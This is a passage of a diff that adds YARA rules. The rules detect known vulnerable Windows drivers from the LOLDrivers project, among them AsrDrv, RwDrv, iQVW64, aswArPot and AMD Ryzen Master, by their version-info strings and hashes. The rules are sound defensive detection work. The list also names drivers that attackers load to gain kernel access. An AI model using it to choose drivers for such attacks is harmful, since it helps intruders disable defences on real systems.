+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "6fb5bc9c51f6872de116c7db8a2134461743908efc306373f6de59a0646c4f5d"
+		date = "2023-06-14"
+		score = 40
+		id = "a9926e8c-f504-5926-8be0-e4e9ccf3b971"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0035002e0034003200320030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0035002e0034003200320030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Asrockincorporation_Asrdrvsys_Asrockiodriver_3943 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AsrDrv106.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3943a796cc7c5352aa57ccf544295bfd6fb69aae147bc8235a00202dc6ed6838"
+		hash = "950a4c0c772021cee26011a92194f0e58d61588f77f2873aa0599dff52a160c9"
+		hash = "2003b478b9fd1b3d76ec5bf4172c2e8915babbbee7ad1783794acbf8d4c2519d"
+		hash = "6ed35f310c96920a271c59a097b382da07856e40179c2a4239f8daa04eef38e7"
+		hash = "ece0a900ea089e730741499614c0917432246ceb5e11599ee3a1bb679e24fd2c"
+		hash = "f40435488389b4fb3b945ca21a8325a51e1b5f80f045ab019748d0ec66056a8b"
+		hash = "a7c2e7910942dd5e43e2f4eb159bcd2b4e71366e34a68109548b9fb12ac0f7cc"
+		date = "2023-06-14"
+		score = 40
+		id = "b35951c3-d0df-5a4d-8c81-333adee6310e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100530052006f0063006b00200049004f0020004400720069007600650072 } /* FileDescription ASRockIODriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e } /* CompanyName ASRockIncorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100730072004400720076002e007300790073 } /* InternalName AsrDrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100530052006f0063006b00200049004f0020004400720069007600650072 } /* ProductName ASRockIODriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100730072004400720076002e007300790073 } /* OriginalFilename AsrDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100320020004100530052006f0063006b00200049006e0063006f00720070006f0072006100740069006f006e } /* LegalCopyright CopyrightCASRockIncorporation */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Hpdevelopmentcompany_Etdsuppsys_Hpetdidriverdll_F744 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - etdsupp.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f744abb99c97d98e4cd08072a897107829d6d8481aee96c22443f626d00f4145"
+		date = "2023-06-14"
+		score = 40
+		id = "cfc5dca9-7ccc-590e-a79e-07f13cbbb080"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004500540044006900200053007500700070006f007200740020004400720069007600650072 } /* FileDescription ETDiSupportDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048005000200044006500760065006c006f0070006d0065006e007400200043006f006d00700061006e0079 } /* CompanyName HPDevelopmentCompany */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0065007400640073007500700070002e007300790073 } /* InternalName etdsuppsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0048005000200045005400440069002000440072006900760065007200200044004c004c } /* ProductName HPETDiDriverDLL */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0065007400640073007500700070002e007300790073 } /* OriginalFilename etdsuppsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200031003900390031002d00320030003200320020004800650077006c006500740074002d005000610063006b00610072006400200044006500760065006c006f0070006d0065006e007400200043006f006d00700061006e0079002c0020004c002e0050002e } /* LegalCopyright CCopyrightHewlettPackardDevelopmentCompanyLP */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_1F81 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1f8168036d636aad1680dd0f577ef9532dbb2dad3591d63e752b0ba3ee6fd501"
+		date = "2023-06-14"
+		score = 40
+		id = "9610cbd7-8521-54ea-a4db-c6d26048fb4b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0032002e003100360020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0032002e00310036 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003800200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Phoenixtechnologies_Agentsys_Driveragent_4045 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Agent64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "4045ae77859b1dbf13972451972eaaf6f3c97bea423e9e78f1c2f14330cd47ca"
+		hash = "8cb62c5d41148de416014f80bd1fd033fd4d2bd504cb05b90eeb6992a382d58f"
+		hash = "6948480954137987a0be626c24cf594390960242cd75f094cd6aaa5c2e7a54fa"
+		hash = "b1d96233235a62dbb21b8dbe2d1ae333199669f67664b107bff1ad49b41d9414"
+		hash = "05f052c64d192cf69a462a5ec16dda0d43ca5d0245900c9fcb9201685a2e7748"
+		date = "2023-06-14"
+		score = 40
+		id = "41ccdc0b-ec41-51b3-9039-bf5206f9a79f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004400720069007600650072004100670065006e0074002000440069007200650063007400200049002f004f00200066006f0072002000360034002d006200690074002000570069006e0064006f00770073 } /* FileDescription DriverAgentDirectIOforbitWindows */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500068006f0065006e0069007800200054006500630068006e006f006c006f0067006900650073 } /* CompanyName PhoenixTechnologies */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100670065006e007400360034002e007300790073 } /* InternalName Agentsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004400720069007600650072004100670065006e0074 } /* ProductName DriverAgent */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100670065006e007400360034002e007300790073 } /* OriginalFilename Agentsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0045006e0054006500630068002000540061006900770061006e002c00200031003900390037002d0032003000300039 } /* LegalCopyright EnTechTaiwan */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_D0E2 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "d0e25b879d830e4f867b09d6540a664b6f88bad353cd14494c33b31a8091f605"
+		date = "2023-06-14"
+		score = 40
+		id = "1ee0136e-73bc-5b88-ae0b-74f3f53fe93f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* FileDescription VirITAgentSystem */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e } /* CompanyName TGSoftSas */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000360030002c00200030002c00200030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000360030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* InternalName viragtsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d } /* ProductName VirITAgentSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 } /* OriginalFilename viragtsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100310020002d0020007700770077002e007400670073006f00660074002e00690074 } /* LegalCopyright CopyrightCTGSoftSaswwwtgsoftit */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Novellinc_Novellxtier_904E {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NICM.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "904e0f7d485a98e8497d5ec6dd6e6e1cf0b8d8e067fb64a9e09790af3c8c9d5a"
+		hash = "cf3180f5308af002ac5d6fd5b75d1340878c375f0aebc3157e3bcad6322b7190"
+		date = "2023-06-14"
+		score = 40
+		id = "e9506ae9-b5ea-5ed7-a126-1b6070df89d0"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c00200043006c00690065006e007400200050006f00720074006100620069006c0069007400790020004c0061007900650072 } /* FileDescription NovellClientPortabilityLayer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e } /* CompanyName NovellInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 } /* ProductName NovellXTier */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00490043004d002e005300590053 } /* OriginalFilename NICMSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000300038002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CCopyrightNovellIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Openlibsysorg_Openlibsyssys_Openlibsys_F060 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - OpenLibSys.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f0605dda1def240dc7e14efa73927d6c6d89988c01ea8647b671667b2b167008"
+		date = "2023-06-14"
+		score = 40
+		id = "b6ebdc92-1ca5-5f13-beef-d6adf037e732"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004f00700065006e004c00690062005300790073 } /* FileDescription OpenLibSys */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e006f00720067 } /* CompanyName OpenLibSysorg */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e0033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0031002e0033 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e007300790073 } /* InternalName OpenLibSyssys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004f00700065006e004c00690062005300790073 } /* ProductName OpenLibSys */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e007300790073 } /* OriginalFilename OpenLibSyssys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004f00700065006e004c00690062005300790073002e006f00720067 } /* LegalCopyright CopyrightCOpenLibSysorg */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Rweverything_Rwdrvsys_Rweverythingreadwritedriver_2A65 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AsrIbDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2a652de6b680d5ad92376ad323021850dab2c653abf06edf26120f7714b8e08a"
+		hash = "3384f4a892f7aa72c43280ff682d85c8e3936f37a68d978d307a9461149192de"
+		hash = "2470fd1b733314c9b0afa19fd39c5d19aa1b36db598b5ebbe93445caa545da5f"
+		hash = "47f08f7d30d824a8f4bb8a98916401a37c0fd8502db308aba91fe3112b892dcc"
+		hash = "0aafa9f47acf69d46c9542985994ff5321f00842a28df2396d4a3076776a83cb"
+		hash = "2bf29a2df52110ed463d51376562afceac0e80fbb1033284cf50edd86c406b14"
+		date = "2023-06-14"
+		score = 40
+		id = "f98969ca-e570-5f95-93d8-5b73fc3221fd"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00520057002d00450076006500720079007400680069006e006700200052006500610064002000260020005700720069007400650020004400720069007600650072 } /* FileDescription RWEverythingReadWriteDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520057002d00450076006500720079007400680069006e0067 } /* CompanyName RWEverything */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00520077004400720076002e007300790073 } /* InternalName RwDrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00520057002d00450076006500720079007400680069006e006700200052006500610064002000260020005700720069007400650020004400720069007600650072 } /* ProductName RWEverythingReadWriteDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00520077004400720076002e007300790073 } /* OriginalFilename RwDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002000520057002d00450076006500720079007400680069006e0067 } /* LegalCopyright CopyrightCRWEverything */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_5027 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "5027fce41ed60906a0e76b97c95c2a5a83d57a2d1cd42de232a21f26c0d58e48"
+		date = "2023-06-14"
+		score = 40
+		id = "e46d3ca0-a605-503d-86ac-67ac7ac8c7cc"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003000340037 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000320020002d002000320030003100320020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_19D0 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "19d0fc91b70d7a719f7a28b4ad929f114bf1de94a4c7cba5ad821285a4485da0"
+		date = "2023-06-14"
+		score = 40
+		id = "9d4595ab-29a2-5b71-b03b-9730db4eadca"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AVGAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0037002e003100310033002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0037002e003100310033002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_7795 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "77955af8a8bcea8998f4046c2f8534f6fb1959c71de049ca2f4298ba47d8f23a"
+		date = "2023-06-14"
+		score = 40
+		id = "28b6dde3-fb27-535d-b948-aafb2b95e1f4"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* FileDescription AMDRyzenMasterServiceDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 } /* CompanyName AdvancedMicroDevices */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* InternalName AMDRyzenMasterDriversys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* ProductName AMDRyzenMasterServiceDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* OriginalFilename AMDRyzenMasterDriversys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300032003200200041004d0044002c00200049006e0063002e } /* LegalCopyright CopyrightAMDInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_9B1A {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "9b1ac756e35f795dd91adbc841e78db23cb7165280f8d4a01df663128b66d194"
+		date = "2023-06-14"
+		score = 40
+		id = "9dd62c3a-8f3c-5df0-a6a2-fcaa72c4ed16"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* FileDescription AMDRyzenMasterServiceDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 } /* CompanyName AdvancedMicroDevices */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0031002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0031002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* InternalName AMDRyzenMasterDriversys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* ProductName AMDRyzenMasterServiceDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* OriginalFilename AMDRyzenMasterDriversys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003700200041004d0044002c00200049006e0063002e } /* LegalCopyright CopyrightAMDInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Panyazilimbilisimteknolojileriticltdsti_Panmonfltsys_Pancafemanager_7E01 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PanMonFlt.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7e0124fcc7c95fdc34408cf154cb41e654dade8b898c71ad587b2090b1da30d7"
+		date = "2023-06-14"
+		score = 40
+		id = "1d9363a1-e32e-5989-8777-6e530efa6a55"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500061006e00430061006600650020004d0061006e0061006700650072002000460069006c00650020004d006f006e00690074006f0072 } /* FileDescription PanCafeManagerFileMonitor */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00500061006e002000590061007a0069006c0069006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e } /* CompanyName PanYazilimBilisimTeknolojileriTicLtdSti */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00500061006e004d006f006e0046006c0074002e007300790073 } /* InternalName PanMonFltsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500061006e00430061006600650020004d0061006e0061006700650072 } /* ProductName PanCafeManager */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00500061006e004d006f006e0046006c0074002e007300790073 } /* OriginalFilename PanMonFltsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280063002900200032003000310032002d0032003000310034002000500061006e002000590061007a0131006c0131006d002000420069006c006900730069006d002000540065006b006e006f006c006f006a0069006c0065007200690020005400690063002e0020004c00740064002e0020005300740069002e } /* LegalCopyright CopyrightcPanYazlmBilisimTeknolojileriTicLtdSti */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Lenovogrouplimitedr_Lenovodiagnosticsdriversys_Lenovodiagnostics_F05B {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - LenovoDiagnosticsDriver.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "f05b1ee9e2f6ab704b8919d5071becbce6f9d0f9d0ba32a460c41d5272134abe"
+		date = "2023-06-14"
+		score = 40
+		id = "791da32a-272c-5bde-9722-cc4c68321ad7"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c0065006e006f0076006f00200044006900610067006e006f00730074006900630073002000440072006900760065007200200066006f0072002000570069006e0064006f0077007300200031003000200061006e00640020006c0061007400650072002e } /* FileDescription LenovoDiagnosticsDriverforWindowsandlater */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c0065006e006f0076006f002000470072006f007500700020004c0069006d00690074006500640020002800520029 } /* CompanyName LenovoGroupLimitedR */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0034002e0030 } /* FileVersion  */
